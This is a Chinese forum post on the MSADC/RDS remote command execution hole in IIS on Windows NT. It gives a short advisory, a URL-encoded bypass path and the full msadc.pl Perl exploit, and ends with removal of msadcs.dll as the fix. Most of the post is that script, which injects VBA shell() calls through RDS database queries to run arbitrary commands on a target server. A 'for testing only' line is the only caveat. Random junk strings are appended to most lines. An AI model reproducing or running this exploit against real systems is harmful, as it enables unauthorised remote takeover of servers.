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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) V7_??L%Ct`  
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涉及程序: q Db}b d5  
Microsoft NT server pk1M.+  
hiHp@"l<  
描述: ?='9YM  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 G3?z.5 ,Q  
#sZes  
详细: oyw1N;K  
如果你没有时间读详细内容的话,就删除: &[5az/Hj*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ),,vu  
有关的安全问题就没有了。 5-^twXC&  
+KNr1rG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j3&*wU_  
Q4q#/z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?9TogW>W  
关于利用ODBC远程漏洞的描述,请参看: 'VEpVo/  
{hz :[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o7zfD94I  
6u7wfAf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 lZ_k307  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (mlc' ]F  
UXHFti/A<  
这里不再论述。 @1@WB ]mQQ  
tO3 ;; %  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 063;D+  
(Lnh> '2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ] ),' =@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Q@n kT1o  
"g-NUl`'  
!&[4T#c  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X2v'9 x  
z?,5v`,t2  
#!perl <b I,y_<K  
# ? Q}{&J  
# MSADC/RDS 'usage' (aka exploit) script VIzZmd  
# q?&&:.H"?5  
# by rain.forest.puppy &=bI3-  
# 2-84  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mX^RSg9E}  
# beta test and find errors! zn|}YovY+  
5Y^ YKV{  
use Socket; use Getopt::Std; )3sb 2 #  
getopts("e:vd:h:XR", \%args); mN02T@R-  
za7wNe(s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; NY x4& *le  
t/|^Nt@XT  
if (!defined $args{h} && !defined $args{R}) { Di*>PE@  
print qq~ >kYyR.p.b  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Je,8{J|e  
-h <host> = host you want to scan (ip or domain) 4NV1v&"  
-d <seconds> = delay between calls, default 1 second )A%Y wI$  
-X = dump Index Server path table, if available G>x0}c  
-v = verbose p<4':s;*  
-e = external dictionary file for step 5 9"S3AEI  
'! (`?  
Or a -R will resume a command session k W,|>  
u:ISwAp  
~; exit;} hM}2++V  
Kl?1)u3^4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Q*: Ow]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *F0N'*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} iQF93:#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9[M u   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} jLTs1`I/F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } f$|v  
K-ebAaiC  
if (!defined $args{R}){ $ret = &has_msadc; STe;Sr&p  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} AI2CfH#:C  
h*LIS@&9C5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" }qTvUs  
. "cmd /c "; $`%.Y&A  
$in=<STDIN>; chomp $in; RS~oSoAE  
$command="cmd /c " . $in ; @kw=0  
T[~X~dqwn"  
if (defined $args{R}) {&load; exit;} [z\*Zg  
vs~*=d27Pf  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; o=ex{g(3  
&try_btcustmr; i ^#R iCeo  
 UWI5 /R  
print "\nStep 2: Trying to make our own DSN..."; ?W()Do1tR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GfDA5v[  
\XC1/LZQ  
print "\nStep 3: Trying known DSNs..."; c{~*\&  
&known_dsn; *"@P2F&  
I,D=ixK  
print "\nStep 4: Trying known .mdbs..."; eC?N>wHH  
&known_mdb; /1*\*<cs  
_N6GV$Q  
if (defined $args{e}){ ~&kV  
print "\nStep 5: Trying dictionary of DSN names..."; TUG3#PSnm*  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Mtu8zm  
xQQ6D  
print "Sorry Charley...maybe next time?\n"; 0 !Yi.'+  
exit; Xma0k3;-  
;I>`!|mT  
############################################################################## mYCGGwD  
\ C Yu;  
sub sendraw { # ripped and modded from whisker 4"{q|~&=:$  
sleep($delay); # it's a DoS on the server! At least on mine... JmkJ^-A 6  
my ($pstr)=@_; D+OkD-8q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gIeo7>u  
die("Socket problems\n"); [eImP V]  
if(connect(S,pack "SnA4x8",2,80,$target)){ \gdd  
select(S); $|=1; VrpY BU  
print $pstr; my @in=<S>; BtspnVB ez  
select(STDOUT); close(S); q6q= ,<T%S  
return @in; Nbr{)h  
} else { die("Can't connect...\n"); }} `g7' )MSy  
q07>FW R  
############################################################################## ;RXv%ML  
[yz;OoA:;  
sub make_header { # make the HTTP request m9/a!|fBE  
my $msadc=<<EOT a.P^+h  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 N'4*L=Ut  
User-Agent: ACTIVEDATA .fgoEB,(  
Host: $ip @Z)&3ss  
Content-Length: $clen T"O!  
Connection: Keep-Alive '?\Hm'8  
xe d$z  
ADCClientVersion:01.06 @_;6 L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 uaiG (O   
PqfH}d0l  
--!ADM!ROX!YOUR!WORLD! ^pn:SV  
Content-Type: application/x-varg gbvBgOp  
Content-Length: $reqlen t^q/'9Ai&J  
`| fF)kI  
EOT FkH4|}1  
; $msadc=~s/\n/\r\n/g; xaPTTa  
return $msadc;} aD.A +es  
D`u{U]  
############################################################################## Ou/{PK}  
i+OyBDkJM!  
sub make_req { # make the RDS request  A/9 wr  
my ($switch, $p1, $p2)=@_; 7JbN WN  
my $req=""; my $t1, $t2, $query, $dsn; #VLTx!5o  
'SC`->F4D  
if ($switch==1){ # this is the btcustmr.mdb query #]9yzyb_y  
$query="Select * from Customers where City=" . make_shell(); cng 1k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  ST{<G  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \eN}V  
IlH*s/  
elsif ($switch==2){ # this is general make table query .69{GM?  
$query="create table AZZ (B int, C varchar(10))"; &`@K/Nf$9  
$dsn="$p1";} U@H SU%H  
'i}Q R~pe  
elsif ($switch==3){ # this is general exploit table query [xHK^JP 8F  
$query="select * from AZZ where C=" . make_shell(); .^/OL}/~<  
$dsn="$p1";} ss*dM.b  
STO6cNi  
elsif ($switch==4){ # attempt to hork file info from index server &TKB8vx=#  
$query="select path from scope()"; %#= 1?1s  
$dsn="Provider=MSIDXS;";} #fQStO  
8kk$:8  
elsif ($switch==5){ # bad query J:t1W=lJ3  
$query="select"; 1|2X0Xm{  
$dsn="$p1";} (i {  
xR$xAcoSB  
$t1= make_unicode($query); ZZ.GpB.  
$t2= make_unicode($dsn); %0L 9)-R  
$req = "\x02\x00\x03\x00";  $///N+B  
$req.= "\x08\x00" . pack ("S1", length($t1)); f)>=.sp  
$req.= "\x00\x00" . $t1 ; }z}oVc  
$req.= "\x08\x00" . pack ("S1", length($t2)); v=!]t=P)t  
$req.= "\x00\x00" . $t2 ; `Dj-(~x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; K?) &8S  
return $req;} Y}PI{PN  
)8yNqnD  
############################################################################## B&cC;Hw  
lV3\5AEW  
sub make_shell { # this makes the shell() statement XJ.vj+XXb  
return "'|shell(\"$command\")|'";} <Dl7|M  
nT:ZSJWM  
############################################################################## O0e6I&u :  
SwLul4V  
sub make_unicode { # quick little function to convert to unicode h&&ufF]D  
my ($in)=@_; my $out; TwY]c<t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4~D?F'o  
return $out;} d&F8nBIM5  
~i(X{ ^,3  
############################################################################## ~qs 97'  
TC'tui  
sub rdo_success { # checks for RDO return success (this is kludge) Q 1g@FsW&U  
my (@in) = @_; my $base=content_start(@in); M*|x,K=U  
if($in[$base]=~/multipart\/mixed/){ WJ8i,7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} VGkwrS;+I  
return 0;} i&RPY bT{  
K^EW*6vB8O  
############################################################################## Ao(Xz$cQfW  
YHl6M&*@  
sub make_dsn { # this makes a DSN for us OQA}+XO  
my @drives=("c","d","e","f"); awGI|d  
print "\nMaking DSN: "; (z\@T`6`  
foreach $drive (@drives) { %+qD-{&  
print "$drive: "; "d9"Md0k  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . LJ9^:U  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" XB zcbS+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (z#qkKL{^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; y^?7de}  
return 0 if $2 eq "404"; # not found/doesn't exist Z%k)'%_   
if($2 eq "200") { )bXiw3'A  
foreach $line (@results) { fQM:NI? 9?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} '`I&g8I\  
} return 0;} x8w455  
6|L<? X  
############################################################################## >2TDYB|;  
^ 14U]<  
sub verify_exists { xh,};TS(K  
my ($page)=@_; -r7*C :E  
my @results=sendraw("GET $page HTTP/1.0\n\n"); K} LmU{/t/  
return $results[0];} Pd6p)zj  
7' ]n_-fu  
############################################################################## IOtSAf  
j@ lHgis  
sub try_btcustmr { q{ i9VJ]  
my @drives=("c","d","e","f"); 2Gd.B/L6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L TzD\C'  
oSq4g{xvMH  
foreach $dir (@dirs) { J4&d6[40  
print "$dir -> "; # fun status so you can see progress sA[hG*#/S  
foreach $drive (@drives) { *F[@lY\p  
print "$drive: "; # ditto  R5(<:]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8c3Qd  
$reqlenlen=length( "$reqlen" ); q#$Al  
$clen= 206 + $reqlenlen + $reqlen; ?#da4W  
{1Z8cV   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); LB1LQ 0M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hOG9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nep0<&"  
YBehyx2eK  
############################################################################## hCS|(8g  
4$ya$Y%s%  
sub odbc_error { e0Zwhz,  
my (@in)=@_; my $base; ihS;q6ln  
my $base = content_start(@in); R7pdwKD  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `fYICp  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WBvh<wTw;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yPs4S?<s  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -^yb[b,  
return $in[$base+4].$in[$base+5].$in[$base+6];} ya.!zGH  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ssj(-\5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2iO AUo+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} lV<2+Is  
LQ(z~M0B  
############################################################################## 9%T~^V%T7  
}coSMTMv6  
sub verbose { fyaiRn9/  
my ($in)=@_; /%fBkA#n  
return if !$verbose; bis}zv^%v  
print STDOUT "\n$in\n";} {xJq F4  
z><u YO$  
############################################################################## M$iDaEu-  
3D|Y4OM  
sub save { BWRAz*V  
my ($p1, $p2, $p3, $p4)=@_; IYAvO%~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; lV924mh  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1$mxMXNsJ  
close OUT;} 'Km ~3t  
sxc^n aK0  
############################################################################## ;r'y/ Y'?  
.LMOmc=(  
sub load { B /q/6Pp  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; t+y$i@R:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); HGIPz{/5U  
@p=<IN>; close(IN); DO6Tz -%o  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); !D#wSeJ  
$target= inet_aton($ip) || die("inet_aton problems"); q=Xda0c  
print "Resuming to $ip ..."; 4 JC*c  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; PW7{,1te,  
if($p[1]==1) { jT/}5\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }(tuBJ9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; tjLp;%6e  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \A "_|Yg  
if (rdo_success(@results)){print "Success!\n";} vz$-KT4e^  
else { print "failed\n"; verbose(odbc_error(@results));}} YvA@I|..~  
elsif ($p[1]==3){ k%2woHSu&  
if(run_query("$p[3]")){ l}w9c`f  
print "Success!\n";} else { print "failed\n"; }} / ,Unp1D  
elsif ($p[1]==4){ !A_<(M<  
if(run_query($drvst . "$p[3]")){ GY% ^!r  
print "Success!\n"; } else { print "failed\n"; }} v|~&I%S7  
exit;} ygI81\ D  
rFn%e  
############################################################################## H[oCI|k  
"MS}@NLUW  
sub create_table { JzuU k  
my ($in)=@_; TEB<ia3+  
$reqlen=length( make_req(2,$in,"") ) - 28; bzj9U>eY  
$reqlenlen=length( "$reqlen" ); d6RO2^  
$clen= 206 + $reqlenlen + $reqlen; n`v;S>aT  
my @results=sendraw(make_header() . make_req(2,$in,"")); zt,Tda4Y  
return 1 if rdo_success(@results); %*:X FB  
my $temp= odbc_error(@results); verbose($temp); Qk`ykTS!  
return 1 if $temp=~/Table 'AZZ' already exists/; iB-h3/  
return 0;} hv. 33l  
$+'bRUo  
############################################################################## cl\Gh  
@9$u!ny0  
sub known_dsn { ,EsPm'`?A/  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go CB!5>k+mC  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &ZyZmB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 8nV#\J9  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  x&^>|'H  
*,x-}%X  
foreach $dSn (@dsns) { d;:H#F+ (  
print "."; MawWgd*  
next if (!is_access("DSN=$dSn")); XHN*'@ 77;  
if(create_table("DSN=$dSn")){ $!Qv f  
print "$dSn successful\n"; [l`_2{:  
if(run_query("DSN=$dSn")){ #k}x} rn<'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t 0 omJP  
print "Something's borked. Use verbose next time\n";}}} print "\n";} y"bSn5B[  
8VWkUsOoI  
############################################################################## "K Or)QD/  
 iwiHw  
sub is_access { ` @PHV  
my ($in)=@_; 4k7 LM]  
$reqlen=length( make_req(5,$in,"") ) - 28; fS@V`"O6  
$reqlenlen=length( "$reqlen" ); /Ko{S_3< I  
$clen= 206 + $reqlenlen + $reqlen;  H8lh.K  
my @results=sendraw(make_header() . make_req(5,$in,"")); JyiP3whW  
my $temp= odbc_error(@results); W'98ues%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); E\$7tXQK6  
return 0;} o x|K2A  
:NCY6? [Dz  
############################################################################## s8O.yL  
(Ci{fY6`  
sub run_query { J`I^F:y*  
my ($in)=@_; !Py SYY  
$reqlen=length( make_req(3,$in,"") ) - 28; bY@ S[  
$reqlenlen=length( "$reqlen" ); ;~^9$Z@%Q  
$clen= 206 + $reqlenlen + $reqlen; BI|BfO%F$j  
my @results=sendraw(make_header() . make_req(3,$in,"")); j:Y1  
return 1 if rdo_success(@results); dGc<{sQzB  
my $temp= odbc_error(@results); verbose($temp); jWUpzf)q=T  
return 0;} }piDg(D  
^Fop/\E  
############################################################################## GS*Mv{JJ  
,)svSzR  
sub known_mdb { ezz;NH  
my @drives=("c","d","e","f","g"); b'5]o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O,D/& 0  
my $dir, $drive, $mdb; \c1NIuJR  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $E >)  
Uo<iZ3J  
# this is sparse, because I don't know of many DQ08dP((v  
my @sysmdbs=( "\\catroot\\icatalog.mdb", U=Hx&g  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Hyn*O)q!  
"\\system32\\certmdb.mdb", Y-ZTv(<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Bu{1^g:  
(>)f#t[9J  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7^hwRZJ{  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y%GIKtP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %C1*`"Jb&  
"\\cfusion\\cfapps\\security\\realm_.mdb", .dE2,9{Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <T^:`p/]4  
"\\cfusion\\database\\cfexamples.mdb", I\y=uC  
"\\cfusion\\database\\cfsnippets.mdb", Zqp<8M2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", . a@>1XO  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", E0lro+'lS  
"\\cfusion\\brighttiger\\database\\cleam.mdb", pD@2Mt0|]=  
"\\cfusion\\database\\smpolicy.mdb", n[f<]4<  
"\\cfusion\\database\cypress.mdb", IncHY?ud<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", }#bX{?f  
"\\website\\cgi-win\\dbsample.mdb", H)5V \  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", MJ% gF=$X  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {>]7xTpwZ  
); #these are just Qzh`x-S  
foreach $drive (@drives) { ;ND)h pD+  
foreach $dir (@dirs){ w(6(Fze  
foreach $mdb (@sysmdbs) { 0hCrEM!8  
print "."; zZh\e,*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .ou#BWav/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0*4h}t9j  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ um5n3=K  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h ycdk1SN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} QPZ|C{Ce  
Vmb `%k20'  
foreach $drive (@drives) { p$+.]  
foreach $mdb (@mdbs) { naaww  
print "."; IPTEOA<M[  
if(create_table($drv . $drive . $dir . $mdb)){ q\I2lZ  
print "\n" . $drive . $dir . $mdb . " successful\n"; 9FKowF_8  
if(run_query($drv . $drive . $dir . $mdb)){ PKK18E}{%^  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; %=G*{mK  
} else { print "Something's borked. Use verbose next time\n"; }}}} 15)y]N={^  
} OtsW>L@ O(  
"'9[c"Iz  
############################################################################## dU<qFxW  
`9>1 w d  
sub hork_idx { %9HL "  
print "\nAttempting to dump Index Server tables...\n"; Up*.z\|'y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9~lC/I')t  
$reqlen=length( make_req(4,"","") ) - 28; 2sXNVo8`w"  
$reqlenlen=length( "$reqlen" ); >vny9^_  
$clen= 206 + $reqlenlen + $reqlen; v "Yo  
my @results=sendraw2(make_header() . make_req(4,"","")); }iBFo\vU  
if (rdo_success(@results)){ #CcC& I :c  
my $max=@results; my $c; my %d; w1q`  
for($c=19; $c<$max; $c++){ e^ ZxU/e  
$results[$c]=~s/\x00//g; %]iE(!>3oy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ,JVWn>s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; AzlZe\V?)~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 'U|Tye i?  
$d{"$1$2"}="";} O&vE 5%x  
foreach $c (keys %d){ print "$c\n"; } gd=gc<zYP  
} else {print "Index server doesn't seem to be installed.\n"; }} a}#8n^2  
D>>?8a  
############################################################################## PQJI~u9te}  
='U>P( R-  
sub dsn_dict { na)-'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); EsK.g/d  
while(<IN>){ by0@G"AE+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; kbcqUE  
next if (!is_access("DSN=$dSn")); m R|;}u;d  
if(create_table("DSN=$dSn")){ +/|;<K5_LI  
print "$dSn successful\n"; %fH&UFby  
if(run_query("DSN=$dSn")){ BK/~2u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f?[0I\V[$  
print "Something's borked. Use verbose next time\n";}}} J6s@}@R1  
print "\n"; close(IN);} ZPO+ #,  
$eQf5)5  
############################################################################## -,Y[`(q  
$bd tiD  
sub sendraw2 { # ripped and modded from whisker a|5^4 J \%  
sleep($delay); # it's a DoS on the server! At least on mine... Kb icP<  
my ($pstr)=@_; ,%!E-gr  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,fR/C  
die("Socket problems\n"); n5e1k y*9w  
if(connect(S,pack "SnA4x8",2,80,$target)){ AJWV#J%nB  
print "Connected. Getting data"; t_\;G~O9-M  
open(OUT,">raw.out"); my @in; R{3vPG  
select(S); $|=1; print $pstr; 6{8dv9tK  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %X^K5Io  
close(OUT); select(STDOUT); close(S); return @in; kE` V@F  
} else { die("Can't connect...\n"); }} D&C83^m  
\:[J-ySJ  
##############################################################################  8-.jf  
X) O9PQ  
sub content_start { # this will take in the server headers : l&g5  
my (@in)=@_; my $c; A."]6R<  
for ($c=1;$c<500;$c++) { q8-*3K  
if($in[$c] =~/^\x0d\x0a/){ Ee0}Xv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `= FDNOwp  
else { return $c+1; }}} y'#i'0eeL  
return -1;} # it should never get here actually PrwMR_-  
H-ewO8@  
############################################################################## FcI ZG _  
h F4gz*Q  
sub funky { E2%{?o  
my (@in)=@_; my $error=odbc_error(@in); 27CVAX ghV  
if($error=~/ADO could not find the specified provider/){ %<?U`o@*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 5<=ktA48[  
exit;} W%,h{  
if($error=~/A Handler is required/){ FsTl@zN  
print "\nServer has custom handler filters (they most likely are patched)\n"; M s5L7S  
exit;} JrA\ V=K  
if($error=~/specified Handler has denied Access/){ \[MQJX,dn  
print "\nServer has custom handler filters (they most likely are patched)\n"; g$a 5  
exit;}} '|~L9t  
YVT\@+C'  
############################################################################## %!HBPLk  
4Y!_tZ>  
sub has_msadc { ;G\RGU~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); -Nu Rf#  
my $base=content_start(@results); *<rBV`AP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); oD?c]}3  
return 0;} }bM=)eUfX  
DI,8y"!5  
######################## !c#~g0H+  
A!n)Fpk  
DwBKqhu  
解决方案: gT8%?U:  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -!JnyD   
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9EIOa/*  
`Ir{ax&H.e  
拿出来充数 哈哈
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